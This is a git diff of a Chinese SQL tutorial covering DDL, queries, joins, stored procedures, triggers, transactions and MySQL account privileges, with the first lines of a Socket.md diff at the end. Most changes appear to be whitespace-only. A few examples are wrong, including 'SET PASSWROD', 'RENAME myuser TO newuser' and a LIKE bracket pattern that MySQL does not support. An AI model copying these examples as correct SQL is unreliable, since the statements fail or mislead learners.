-ADD col CHAR(20);
+ALTER TABLE mytable
+ADD col CHAR(20);
 ```
 
 删除列
 
 ```sql
-ALTER TABLE mytable
-DROP COLUMN col;
+ALTER TABLE mytable
+DROP COLUMN col;
 ```
 
 删除表
 
 ```sql
-DROP TABLE mytable;
+DROP TABLE mytable;
 ```
 
-# 四、插入
+# 四、插入
 
 普通插入
 
 ```sql
-INSERT INTO mytable(col1, col2)
-VALUES(val1, val2);
+INSERT INTO mytable(col1, col2)
+VALUES(val1, val2);
 ```
 
 插入检索出来的数据
 
 ```sql
-INSERT INTO mytable1(col1, col2)
-SELECT col1, col2
-FROM mytable2;
+INSERT INTO mytable1(col1, col2)
+SELECT col1, col2
+FROM mytable2;
 ```
 
 将一个表的内容插入到一个新表
 
 ```sql
-CREATE TABLE newtable AS
-SELECT * FROM mytable;
+CREATE TABLE newtable AS
+SELECT * FROM mytable;
 ```
 
-# 五、更新
+# 五、更新
 
 ```sql
-UPDATE mytable
-SET col = val
-WHERE id = 1;
+UPDATE mytable
+SET col = val
+WHERE id = 1;
 ```
 
-# 六、删除
+# 六、删除
 
 ```sql
-DELETE FROM mytable
-WHERE id = 1;
+DELETE FROM mytable
+WHERE id = 1;
 ```
 
-**TRUNCATE TABLE**  可以清空表，也就是删除所有行。
+**TRUNCATE TABLE** 可以清空表，也就是删除所有行。
 
 ```sql
-TRUNCATE TABLE mytable;
+TRUNCATE TABLE mytable;
 ```
 
-使用更新和删除操作时一定要用 WHERE 子句，不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试，防止错误删除。
+使用更新和删除操作时一定要用 WHERE 子句，不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试，防止错误删除。
 
-# 七、查询
+# 七、查询
 
-## DISTINCT
+## DISTINCT
 
 相同值只会出现一次。它作用于所有列，也就是说所有列的值都相同才算相同。
 
 ```sql
-SELECT DISTINCT col1, col2
-FROM mytable;
+SELECT DISTINCT col1, col2
+FROM mytable;
 ```
 
-## LIMIT
+## LIMIT
 
-限制返回的行数。可以有两个参数，第一个参数为起始行，从 0 开始；第二个参数为返回的总行数。
+限制返回的行数。可以有两个参数，第一个参数为起始行，从 0 开始；第二个参数为返回的总行数。
 
-返回前 5 行：
+返回前 5 行：
 
 ```sql
-SELECT *
-FROM mytable
-LIMIT 5;
+SELECT *
+FROM mytable
+LIMIT 5;
 ```
 
 ```sql
-SELECT *
-FROM mytable
-LIMIT 0, 5;
+SELECT *
+FROM mytable
+LIMIT 0, 5;
 ```
 
-返回第 3 \~ 5 行：
+返回第 3 ~ 5 行：
 
 ```sql
-SELECT *
-FROM mytable
-LIMIT 2, 3;
+SELECT *
+FROM mytable
+LIMIT 2, 3;
 ```
 
-# 八、排序
+# 八、排序
 
--  **ASC** ：升序（默认）
--  **DESC** ：降序
+- **ASC**：升序（默认）
+- **DESC**：降序
 
 可以按多个列进行排序，并且为每个列指定不同的排序方式：
 
 ```sql
-SELECT *
-FROM mytable
-ORDER BY col1 DESC, col2 ASC;
+SELECT *
+FROM mytable
+ORDER BY col1 DESC, col2 ASC;
 ```
 
-# 九、过滤
+# 九、过滤
 
-不进行过滤的数据非常大，导致通过网络传输了多余的数据，从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据，而不是传输所有的数据到客户端中然后由客户端进行过滤。
+不进行过滤的数据非常大，导致通过网络传输了多余的数据，从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据，而不是传输所有的数据到客户端中然后由客户端进行过滤。
 
 ```sql
-SELECT *
-FROM mytable
-WHERE col IS NULL;
+SELECT *
+FROM mytable
+WHERE col IS NULL;
 ```
 
-下表显示了 WHERE 子句可用的操作符
+下表显示了 WHERE 子句可用的操作符
 
-|  操作符 | 说明  |
-| :---: | :---: |
-| = | 等于 |
-| &lt; | 小于 |
-| &gt; | 大于 |
-| &lt;&gt; != | 不等于 |
-| &lt;= !&gt; | 小于等于 |
-| &gt;= !&lt; | 大于等于 |
-| BETWEEN | 在两个值之间 |
-| IS NULL | 为 NULL 值 |
+|  操作符 | 说明  |
+| :---: | :---: |
+| = | 等于 |
+| &lt; | 小于 |
+| &gt; | 大于 |
+| &lt;&gt; != | 不等于 |
+| &lt;= !&gt; | 小于等于 |
+| &gt;= !&lt; | 大于等于 |
+| BETWEEN | 在两个值之间 |
+| IS NULL | 为 NULL 值 |
 
-应该注意到，NULL 与 0、空字符串都不同。
+应该注意到，NULL 与 0、空字符串都不同。
 
-**AND 和 OR**  用于连接多个过滤条件。优先处理 AND，当一个过滤表达式涉及到多个 AND 和 OR 时，可以使用 () 来决定优先级，使得优先级关系更清晰。
+**AND 和 OR** 用于连接多个过滤条件。优先处理 AND，当一个过滤表达式涉及到多个 AND 和 OR 时，可以使用 () 来决定优先级，使得优先级关系更清晰。
 
-**IN**  操作符用于匹配一组值，其后也可以接一个 SELECT 子句，从而匹配子查询得到的一组值。
+**IN** 操作符用于匹配一组值，其后也可以接一个 SELECT 子句，从而匹配子查询得到的一组值。
 
-**NOT**  操作符用于否定一个条件。
+**NOT** 操作符用于否定一个条件。
 
-# 十、通配符
+# 十、通配符
 
 通配符也是用在过滤语句中，但它只能用于文本字段。
 
--  **%**  匹配 >=0 个任意字符；
+- **%** 匹配 >=0 个任意字符；
 
--  **\_**  匹配 ==1 个任意字符；
+- **\_** 匹配 ==1 个任意字符；
 
--  **[ ]**  可以匹配集合内的字符，例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定，也就是不匹配集合内的字符。
+- **[ ]** 可以匹配集合内的字符，例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定，也就是不匹配集合内的字符。
 
-使用 Like 来进行通配符匹配。
+使用 Like 来进行通配符匹配。
 
 ```sql
-SELECT *
-FROM mytable
-WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本
+SELECT *
+FROM mytable
+WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本
 ```
 
 不要滥用通配符，通配符位于开头处匹配会非常慢。
 
-# 十一、计算字段
+# 十一、计算字段
 
 在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多，并且转换和格式化后的数据量更少的话可以减少网络通信量。
 
-计算字段通常需要使用  **AS**  来取别名，否则输出的时候字段名为计算表达式。
+计算字段通常需要使用 **AS** 来取别名，否则输出的时候字段名为计算表达式。
 
 ```sql
-SELECT col1 * col2 AS alias
-FROM mytable;
+SELECT col1 * col2 AS alias
+FROM mytable;
 ```
 
-**CONCAT()**  用于连接两个字段。许多数据库会使用空格把一个值填充为列宽，因此连接的结果会出现一些不必要的空格，使用 **TRIM()** 可以去除首尾空格。
+**CONCAT()** 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽，因此连接的结果会出现一些不必要的空格，使用 **TRIM()** 可以去除首尾空格。
 
 ```sql
-SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col
-FROM mytable;
+SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col
+FROM mytable;
 ```
 
-# 十二、函数
+# 十二、函数
 
-各个 DBMS 的函数都是不相同的，因此不可移植，以下主要是 MySQL 的函数。
+各个 DBMS 的函数都是不相同的，因此不可移植，以下主要是 MySQL 的函数。
 
-## 汇总
+## 汇总
 
-|函 数 |说 明|
-| :---: | :---: |
-| AVG() | 返回某列的平均值 |
-| COUNT() | 返回某列的行数 |
-| MAX() | 返回某列的最大值 |
-| MIN() | 返回某列的最小值 |
-| SUM() |返回某列值之和 |
+|函 数 |说 明|
+| :---: | :---: |
+| AVG() | 返回某列的平均值 |
+| COUNT() | 返回某列的行数 |
+| MAX() | 返回某列的最大值 |
+| MIN() | 返回某列的最小值 |
+| SUM() |返回某列值之和 |
 
-AVG() 会忽略 NULL 行。
+AVG() 会忽略 NULL 行。
 
-使用 DISTINCT 可以让汇总函数值汇总不同的值。
+使用 DISTINCT 可以让汇总函数值汇总不同的值。
 
 ```sql
-SELECT AVG(DISTINCT col1) AS avg_col
-FROM mytable;
+SELECT AVG(DISTINCT col1) AS avg_col
+FROM mytable;
 ```
 
-## 文本处理
+## 文本处理
 
-| 函数  | 说明  |
-| :---: | :---: |
-|  LEFT() |  左边的字符 |
-| RIGHT() | 右边的字符 |
-| LOWER() | 转换为小写字符 |
-| UPPER() | 转换为大写字符 |
-| LTRIM() | 去除左边的空格 |
-| RTRIM() | 去除右边的空格 |
-| LENGTH() | 长度 |
-| SOUNDEX() | 转换为语音值 |
+| 函数  | 说明  |
+| :---: | :---: |
+|  LEFT() |  左边的字符 |
+| RIGHT() | 右边的字符 |
+| LOWER() | 转换为小写字符 |
+| UPPER() | 转换为大写字符 |
+| LTRIM() | 去除左边的空格 |
+| RTRIM() | 去除右边的空格 |
+| LENGTH() | 长度 |
+| SOUNDEX() | 转换为语音值 |
 
-其中， **SOUNDEX()**  可以将一个字符串转换为描述其语音表示的字母数字模式。
+其中，**SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。
 
 ```sql
-SELECT *
-FROM mytable
-WHERE SOUNDEX(col1) = SOUNDEX('apple')
+SELECT *
+FROM mytable
+WHERE SOUNDEX(col1) = SOUNDEX('apple')
 ```
 
-## 日期和时间处理
+## 日期和时间处理
 
-- 日期格式：YYYY-MM-DD
-- 时间格式：HH:MM:SS
+- 日期格式：YYYY-MM-DD
+- 时间格式：HH:MM:SS
 
-|函 数 | 说 明|
-| :---: | :---: |
-| AddDate() | 增加一个日期（天、周等）|
-| AddTime() | 增加一个时间（时、分等）|
-| CurDate() | 返回当前日期 |
-| CurTime() | 返回当前时间 |
-| Date() |返回日期时间的日期部分|
-| DateDiff() |计算两个日期之差|
-| Date_Add() |高度灵活的日期运算函数|
-| Date_Format() |返回一个格式化的日期或时间串|
-| Day()| 返回一个日期的天数部分|
-| DayOfWeek() |对于一个日期，返回对应的星期几|
-| Hour() |返回一个时间的小时部分|
-| Minute() |返回一个时间的分钟部分|
-| Month() |返回一个日期的月份部分|
-| Now() |返回当前日期和时间|
-| Second() |返回一个时间的秒部分|
-| Time() |返回一个日期时间的时间部分|
-| Year() |返回一个日期的年份部分|
+|函 数 | 说 明|
+| :---: | :---: |
+| AddDate() | 增加一个日期（天、周等）|
+| AddTime() | 增加一个时间（时、分等）|
+| CurDate() | 返回当前日期 |
+| CurTime() | 返回当前时间 |
+| Date() |返回日期时间的日期部分|
+| DateDiff() |计算两个日期之差|
+| Date_Add() |高度灵活的日期运算函数|
+| Date_Format() |返回一个格式化的日期或时间串|
+| Day()| 返回一个日期的天数部分|
+| DayOfWeek() |对于一个日期，返回对应的星期几|
+| Hour() |返回一个时间的小时部分|
+| Minute() |返回一个时间的分钟部分|
+| Month() |返回一个日期的月份部分|
+| Now() |返回当前日期和时间|
+| Second() |返回一个时间的秒部分|
+| Time() |返回一个日期时间的时间部分|
+| Year() |返回一个日期的年份部分|
 
 ```sql
-mysql> SELECT NOW();
+mysql> SELECT NOW();
 ```
 
 ```
-2018-4-14 20:25:11
+2018-4-14 20:25:11
 ```
 
-## 数值处理
+## 数值处理
 
-| 函数 | 说明 |
-| :---: | :---: |
-| SIN() | 正弦 |
-| COS() | 余弦 |
-| TAN() | 正切 |
-| ABS() | 绝对值 |
-| SQRT() | 平方根 |
-| MOD() | 余数 |
-| EXP() | 指数 |
-| PI() | 圆周率 |
-| RAND() | 随机数 |
+| 函数 | 说明 |
+| :---: | :---: |
+| SIN() | 正弦 |
+| COS() | 余弦 |
+| TAN() | 正切 |
+| ABS() | 绝对值 |
+| SQRT() | 平方根 |
+| MOD() | 余数 |
+| EXP() | 指数 |
+| PI() | 圆周率 |
+| RAND() | 随机数 |
 
-# 十三、分组
+# 十三、分组
 
 分组就是把具有相同的数据值的行放在同一组中。
 
@@ -353,186 +324,186 @@ mysql> SELECT NOW();
 指定的分组字段除了能按该字段进行分组，也会自动按该字段进行排序。
 
 ```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-GROUP BY col;
+SELECT col, COUNT(*) AS num
+FROM mytable
+GROUP BY col;
 ```
 
-GROUP BY 自动按分组字段进行排序，ORDER BY 也可以按汇总字段来进行排序。
+GROUP BY 自动按分组字段进行排序，ORDER BY 也可以按汇总字段来进行排序。
 
 ```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-GROUP BY col
-ORDER BY num;
+SELECT col, COUNT(*) AS num
+FROM mytable
+GROUP BY col
+ORDER BY num;
 ```
 
-WHERE 过滤行，HAVING 过滤分组，行过滤应当先于分组过滤。
+WHERE 过滤行，HAVING 过滤分组，行过滤应当先于分组过滤。
 
 ```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-WHERE col > 2
-GROUP BY col
-HAVING num >= 2;
+SELECT col, COUNT(*) AS num
+FROM mytable
+WHERE col > 2
+GROUP BY col
+HAVING num >= 2;
 ```
 
 分组规定：
 
-- GROUP BY 子句出现在 WHERE 子句之后，ORDER BY 子句之前；
-- 除了汇总字段外，SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出；
-- NULL 的行会单独分为一组；
-- 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
+- GROUP BY 子句出现在 WHERE 子句之后，ORDER BY 子句之前；
+- 除了汇总字段外，SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出；
+- NULL 的行会单独分为一组；
+- 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
 
-# 十四、子查询
+# 十四、子查询
 
 子查询中只能返回一个字段的数据。
 
-可以将子查询的结果作为 WHRER 语句的过滤条件：
+可以将子查询的结果作为 WHRER 语句的过滤条件：
 
 ```sql
-SELECT *
-FROM mytable1
-WHERE col1 IN (SELECT col2
-               FROM mytable2);
+SELECT *
+FROM mytable1
+WHERE col1 IN (SELECT col2
+               FROM mytable2);
 ```
 
 下面的语句可以检索出客户的订单数量，子查询语句会对第一个查询检索出的每个客户执行一次：
 
 ```sql
-SELECT cust_name, (SELECT COUNT(*)
-                   FROM Orders
-                   WHERE Orders.cust_id = Customers.cust_id)
-                   AS orders_num
-FROM Customers
-ORDER BY cust_name;
+SELECT cust_name, (SELECT COUNT(*)
+                   FROM Orders
+                   WHERE Orders.cust_id = Customers.cust_id)
+                   AS orders_num
+FROM Customers
+ORDER BY cust_name;
 ```
 
-# 十五、连接
+# 十五、连接
 
-连接用于连接多个表，使用 JOIN 关键字，并且条件语句使用 ON 而不是 WHERE。
+连接用于连接多个表，使用 JOIN 关键字，并且条件语句使用 ON 而不是 WHERE。
 
 连接可以替换子查询，并且比子查询的效率一般会更快。
 
-可以用 AS 给列名、计算字段和表名取别名，给表名取别名是为了简化 SQL 语句以及连接相同表。
+可以用 AS 给列名、计算字段和表名取别名，给表名取别名是为了简化 SQL 语句以及连接相同表。
 
-## 内连接
+## 内连接
 
-内连接又称等值连接，使用 INNER JOIN 关键字。
+内连接又称等值连接，使用 INNER JOIN 关键字。
 
 ```sql
-SELECT A.value, B.value
-FROM tablea AS A INNER JOIN tableb AS B
-ON A.key = B.key;
+SELECT A.value, B.value
+FROM tablea AS A INNER JOIN tableb AS B
+ON A.key = B.key;
 ```
 
-可以不明确使用 INNER JOIN，而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
+可以不明确使用 INNER JOIN，而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
 
 ```sql
-SELECT A.value, B.value
-FROM tablea AS A, tableb AS B
-WHERE A.key = B.key;
+SELECT A.value, B.value
+FROM tablea AS A, tableb AS B
+WHERE A.key = B.key;
 ```
 
 在没有条件语句的情况下返回笛卡尔积。
 
-## 自连接
+## 自连接
 
 自连接可以看成内连接的一种，只是连接的表是自身而已。
 
-一张员工表，包含员工姓名和员工所属部门，要找出与 Jim 处在同一部门的所有员工姓名。
+一张员工表，包含员工姓名和员工所属部门，要找出与 Jim 处在同一部门的所有员工姓名。
 
 子查询版本
 
 ```sql
-SELECT name
-FROM employee
-WHERE department = (
-      SELECT department
-      FROM employee
-      WHERE name = "Jim");
+SELECT name
+FROM employee
+WHERE department = (
+      SELECT department
+      FROM employee
+      WHERE name = "Jim");
 ```
 
 自连接版本
 
 ```sql
-SELECT e1.name
-FROM employee AS e1 INNER JOIN employee AS e2
-ON e1.department = e2.department
-      AND e2.name = "Jim";
+SELECT e1.name
+FROM employee AS e1 INNER JOIN employee AS e2
+ON e1.department = e2.department
+      AND e2.name = "Jim";
 ```
 
-## 自然连接
+## 自然连接
 
 自然连接是把同名列通过等值测试连接起来的，同名列可以有多个。
 
 内连接和自然连接的区别：内连接提供连接的列，而自然连接自动连接所有同名列。
 
 ```sql
-SELECT A.value, B.value
-FROM tablea AS A NATURAL JOIN tableb AS B;
+SELECT A.value, B.value
+FROM tablea AS A NATURAL JOIN tableb AS B;
 ```
 
-## 外连接
+## 外连接
 
 外连接保留了没有关联的那些行。分为左外连接，右外连接以及全外连接，左外连接就是保留左表没有关联的行。
 
 检索所有顾客的订单信息，包括还没有订单信息的顾客。
 
 ```sql
-SELECT Customers.cust_id, Orders.order_num
-FROM Customers LEFT OUTER JOIN Orders
-ON Customers.cust_id = Orders.cust_id;
+SELECT Customers.cust_id, Orders.order_num
+FROM Customers LEFT OUTER JOIN Orders
+ON Customers.cust_id = Orders.cust_id;
 ```
 
-customers 表：
+customers 表：
 
-| cust_id | cust_name |
-| :---: | :---: |
-| 1 | a |
-| 2 | b |
-| 3 | c |
+| cust_id | cust_name |
+| :---: | :---: |
+| 1 | a |
+| 2 | b |
+| 3 | c |
 
-orders 表：
+orders 表：
 
-| order_id | cust_id |
-| :---: | :---: |
-|1    | 1 |
-|2    | 1 |
-|3    | 3 |
-|4    | 3 |
+| order_id | cust_id |
+| :---: | :---: |
+|1    | 1 |
+|2    | 1 |
+|3    | 3 |
+|4    | 3 |
 
 结果：
 
-| cust_id | cust_name | order_id |
-| :---: | :---: | :---: |
-| 1 | a | 1 |
-| 1 | a | 2 |
-| 3 | c | 3 |
-| 3 | c | 4 |
-| 2 | b | Null |
+| cust_id | cust_name | order_id |
+| :---: | :---: | :---: |
+| 1 | a | 1 |
+| 1 | a | 2 |
+| 3 | c | 3 |
+| 3 | c | 4 |
+| 2 | b | Null |
 
-# 十六、组合查询
+# 十六、组合查询
 
-使用  **UNION**  来组合两个查询，如果第一个查询返回 M 行，第二个查询返回 N 行，那么组合查询的结果一般为 M+N 行。
+使用 **UNION** 来组合两个查询，如果第一个查询返回 M 行，第二个查询返回 N 行，那么组合查询的结果一般为 M+N 行。
 
 每个查询必须包含相同的列、表达式和聚集函数。
 
-默认会去除相同行，如果需要保留相同行，使用 UNION ALL。
+默认会去除相同行，如果需要保留相同行，使用 UNION ALL。
 
-只能包含一个 ORDER BY 子句，并且必须位于语句的最后。
+只能包含一个 ORDER BY 子句，并且必须位于语句的最后。
 
 ```sql
-SELECT col
-FROM mytable
-WHERE col = 1
+SELECT col
+FROM mytable
+WHERE col = 1
 UNION
-SELECT col
-FROM mytable
-WHERE col =2;
+SELECT col
+FROM mytable
+WHERE col =2;
 ```
 
-# 十七、视图
+# 十七、视图
 
 视图是虚拟的表，本身不包含数据，也就不能对其进行索引操作。
 
@@ -540,57 +511,57 @@ WHERE col =2;
 
 视图具有如下好处：
 
-- 简化复杂的 SQL 操作，比如复杂的连接；
-- 只使用实际表的一部分数据；
-- 通过只给用户访问视图的权限，保证数据的安全性；
-- 更改数据格式和表示。
+- 简化复杂的 SQL 操作，比如复杂的连接；
+- 只使用实际表的一部分数据；
+- 通过只给用户访问视图的权限，保证数据的安全性；
+- 更改数据格式和表示。
 
 ```sql
-CREATE VIEW myview AS
-SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col
-FROM mytable
-WHERE col5 = val;
+CREATE VIEW myview AS
+SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col
+FROM mytable
+WHERE col5 = val;
 ```
 
-# 十八、存储过程
+# 十八、存储过程
 
-存储过程可以看成是对一系列 SQL 操作的批处理。
+存储过程可以看成是对一系列 SQL 操作的批处理。
 
 使用存储过程的好处：
 
-- 代码封装，保证了一定的安全性；
-- 代码复用；
-- 由于是预先编译，因此具有很高的性能。
+- 代码封装，保证了一定的安全性；
+- 代码复用；
+- 由于是预先编译，因此具有很高的性能。
 
-命令行中创建存储过程需要自定义分隔符，因为命令行是以 ; 为结束符，而存储过程中也包含了分号，因此会错误把这部分分号当成是结束符，造成语法错误。
+命令行中创建存储过程需要自定义分隔符，因为命令行是以 ; 为结束符，而存储过程中也包含了分号，因此会错误把这部分分号当成是结束符，造成语法错误。
 
-包含 in、out 和 inout 三种参数。
+包含 in、out 和 inout 三种参数。
 
-给变量赋值都需要用 select into 语句。
+给变量赋值都需要用 select into 语句。
 
 每次只能给一个变量赋值，不支持集合的操作。
 
 ```sql
-delimiter //
+delimiter //
 
-create procedure myprocedure( out ret int )
-    begin
-        declare y int;
-        select sum(col1)
-        from mytable
-        into y;
-        select y*y into ret;
-    end //
+create procedure myprocedure( out ret int )
+    begin
+        declare y int;
+        select sum(col1)
+        from mytable
+        into y;
+        select y*y into ret;
+    end //
 
-delimiter ;
+delimiter ;
 ```
 
 ```sql
-call myprocedure(@ret);
-select @ret;
+call myprocedure(@ret);
+select @ret;
 ```
 
-# 十九、游标
+# 十九、游标
 
 在存储过程中使用游标可以对一个结果集进行移动遍历。
 
@@ -598,171 +569,171 @@ select @ret;
 
 使用游标的四个步骤：
 
-1. 声明游标，这个过程没有实际检索出数据；
-2. 打开游标；
-3. 取出数据；
-4. 关闭游标；
+1. 声明游标，这个过程没有实际检索出数据；
+2. 打开游标；
+3. 取出数据；
+4. 关闭游标；
 
 ```sql
-delimiter //
-create procedure myprocedure(out ret int)
-    begin
-        declare done boolean default 0;
+delimiter //
+create procedure myprocedure(out ret int)
+    begin
+        declare done boolean default 0;
 
-        declare mycursor cursor for
-        select col1 from mytable;
-        # 定义了一个 continue handler，当 sqlstate '02000' 这个条件出现时，会执行 set done = 1
-        declare continue handler for sqlstate '02000' set done = 1;
+        declare mycursor cursor for
+        select col1 from mytable;
+        # 定义了一个 continue handler，当 sqlstate '02000' 这个条件出现时，会执行 set done = 1
+        declare continue handler for sqlstate '02000' set done = 1;
 
-        open mycursor;
+        open mycursor;
 
-        repeat
-            fetch mycursor into ret;
-            select ret;
-        until done end repeat;
+        repeat
+            fetch mycursor into ret;
+            select ret;
+        until done end repeat;
 
-        close mycursor;
-    end //
- delimiter ;
+        close mycursor;
+    end //
+ delimiter ;
 ```
 
-# 二十、触发器
+# 二十、触发器
 
 触发器会在某个表执行以下语句时而自动执行：DELETE、INSERT、UPDATE。
 
-触发器必须指定在语句执行之前还是之后自动执行，之前执行使用 BEFORE 关键字，之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化，AFTER 用于审计跟踪，将修改记录到另外一张表中。
+触发器必须指定在语句执行之前还是之后自动执行，之前执行使用 BEFORE 关键字，之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化，AFTER 用于审计跟踪，将修改记录到另外一张表中。
 
-INSERT 触发器包含一个名为 NEW 的虚拟表。
+INSERT 触发器包含一个名为 NEW 的虚拟表。
 
 ```sql
-CREATE TRIGGER mytrigger AFTER INSERT ON mytable
-FOR EACH ROW SELECT NEW.col into @result;
+CREATE TRIGGER mytrigger AFTER INSERT ON mytable
+FOR EACH ROW SELECT NEW.col into @result;
 
-SELECT @result; -- 获取结果
+SELECT @result; -- 获取结果
 ```
 
-DELETE 触发器包含一个名为 OLD 的虚拟表，并且是只读的。
+DELETE 触发器包含一个名为 OLD 的虚拟表，并且是只读的。
 
-UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改的，而 OLD 是只读的。
+UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改的，而 OLD 是只读的。
 
-MySQL 不允许在触发器中使用 CALL 语句，也就是不能调用存储过程。
+MySQL 不允许在触发器中使用 CALL 语句，也就是不能调用存储过程。
 
-# 二十一、事务管理
+# 二十一、事务管理
 
 基本术语：
 
-- 事务（transaction）指一组 SQL 语句；
-- 回退（rollback）指撤销指定 SQL 语句的过程；
-- 提交（commit）指将未存储的 SQL 语句结果写入数据库表；
-- 保留点（savepoint）指事务处理中设置的临时占位符（placeholder），你可以对它发布回退（与回退整个事务处理不同）。
+- 事务（transaction）指一组 SQL 语句；
+- 回退（rollback）指撤销指定 SQL 语句的过程；
+- 提交（commit）指将未存储的 SQL 语句结果写入数据库表；
+- 保留点（savepoint）指事务处理中设置的临时占位符（placeholder），你可以对它发布回退（与回退整个事务处理不同）。
 
-不能回退 SELECT 语句，回退 SELECT 语句也没意义；也不能回退 CREATE 和 DROP 语句。
+不能回退 SELECT 语句，回退 SELECT 语句也没意义；也不能回退 CREATE 和 DROP 语句。
 
-MySQL 的事务提交默认是隐式提交，每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时，会关闭隐式提交；当 COMMIT 或 ROLLBACK 语句执行后，事务会自动关闭，重新恢复隐式提交。
+MySQL 的事务提交默认是隐式提交，每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时，会关闭隐式提交；当 COMMIT 或 ROLLBACK 语句执行后，事务会自动关闭，重新恢复隐式提交。
 
-通过设置 autocommit 为 0 可以取消自动提交；autocommit 标记是针对每个连接而不是针对服务器的。
+通过设置 autocommit 为 0 可以取消自动提交；autocommit 标记是针对每个连接而不是针对服务器的。
 
-如果没有设置保留点，ROLLBACK 会回退到 START TRANSACTION 语句处；如果设置了保留点，并且在 ROLLBACK 中指定该保留点，则会回退到该保留点。
+如果没有设置保留点，ROLLBACK 会回退到 START TRANSACTION 语句处；如果设置了保留点，并且在 ROLLBACK 中指定该保留点，则会回退到该保留点。
 
 ```sql
-START TRANSACTION
-// ...
-SAVEPOINT delete1
-// ...
-ROLLBACK TO delete1
-// ...
+START TRANSACTION
+// ...
+SAVEPOINT delete1
+// ...
+ROLLBACK TO delete1
+// ...
 COMMIT
 ```
 
-# 二十二、字符集
+# 二十二、字符集
 
 基本术语：
 
-- 字符集为字母和符号的集合；
-- 编码为某个字符集成员的内部表示；
-- 校对字符指定如何比较，主要用于排序和分组。
+- 字符集为字母和符号的集合；
+- 编码为某个字符集成员的内部表示；
+- 校对字符指定如何比较，主要用于排序和分组。
 
 除了给表指定字符集和校对外，也可以给列指定：
 
 ```sql
-CREATE TABLE mytable
-(col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci )
-DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;
+CREATE TABLE mytable
+(col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci )
+DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;
 ```
 
 可以在排序、分组时指定校对：
 
 ```sql
-SELECT *
-FROM mytable
-ORDER BY col COLLATE latin1_general_ci;
+SELECT *
+FROM mytable
+ORDER BY col COLLATE latin1_general_ci;
 ```
 
-# 二十三、权限管理
+# 二十三、权限管理
 
-MySQL 的账户信息保存在 mysql 这个数据库中。
+MySQL 的账户信息保存在 mysql 这个数据库中。
 
 ```sql
-USE mysql;
-SELECT user FROM user;
+USE mysql;
+SELECT user FROM user;
 ```
 
-**创建账户** 
+**创建账户**
 
 新创建的账户没有任何权限。
 
 ```sql
-CREATE USER myuser IDENTIFIED BY 'mypassword';
+CREATE USER myuser IDENTIFIED BY 'mypassword';
 ```
 
-**修改账户名** 
+**修改账户名**
 
 ```sql
-RENAME myuser TO newuser;
+RENAME myuser TO newuser;
 ```
 
-**删除账户** 
+**删除账户**
 
 ```sql
-DROP USER myuser;
+DROP USER myuser;
 ```
 
-**查看权限** 
+**查看权限**
 
 ```sql
-SHOW GRANTS FOR myuser;
+SHOW GRANTS FOR myuser;
 ```
 
-**授予权限** 
+**授予权限**
 
-账户用 username@host 的形式定义，username@% 使用的是默认主机名。
+账户用 username@host 的形式定义，username@% 使用的是默认主机名。
 
 ```sql
-GRANT SELECT, INSERT ON mydatabase.* TO myuser;
+GRANT SELECT, INSERT ON mydatabase.* TO myuser;
 ```
 
-**删除权限** 
+**删除权限**
 
-GRANT 和 REVOKE 可在几个层次上控制访问权限：
+GRANT 和 REVOKE 可在几个层次上控制访问权限：
 
-- 整个服务器，使用 GRANT ALL 和 REVOKE ALL；
-- 整个数据库，使用 ON database.\*；
-- 特定的表，使用 ON database.table；
-- 特定的列；
-- 特定的存储过程。
+- 整个服务器，使用 GRANT ALL 和 REVOKE ALL；
+- 整个数据库，使用 ON database.\*；
+- 特定的表，使用 ON database.table；
+- 特定的列；
+- 特定的存储过程。
 
 ```sql
-REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
+REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
 ```
 
-**更改密码** 
+**更改密码**
 
-必须使用 Password() 函数
+必须使用 Password() 函数
 
 ```sql
-SET PASSWROD FOR myuser = Password('new_password');
+SET PASSWROD FOR myuser = Password('new_password');
 ```
 
-# 参考资料
+# 参考资料
 
-- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
+- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
\ No newline at end of file
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index 92f4149f..ab23d005 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,324 +1,304 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、I/O 模型](#一io-模型)
-    * [阻塞式 I/O](#阻塞式-io)
-    * [非阻塞式 I/O](#非阻塞式-io)
-    * [I/O 复用](#io-复用)
-    * [信号驱动 I/O](#信号驱动-io)
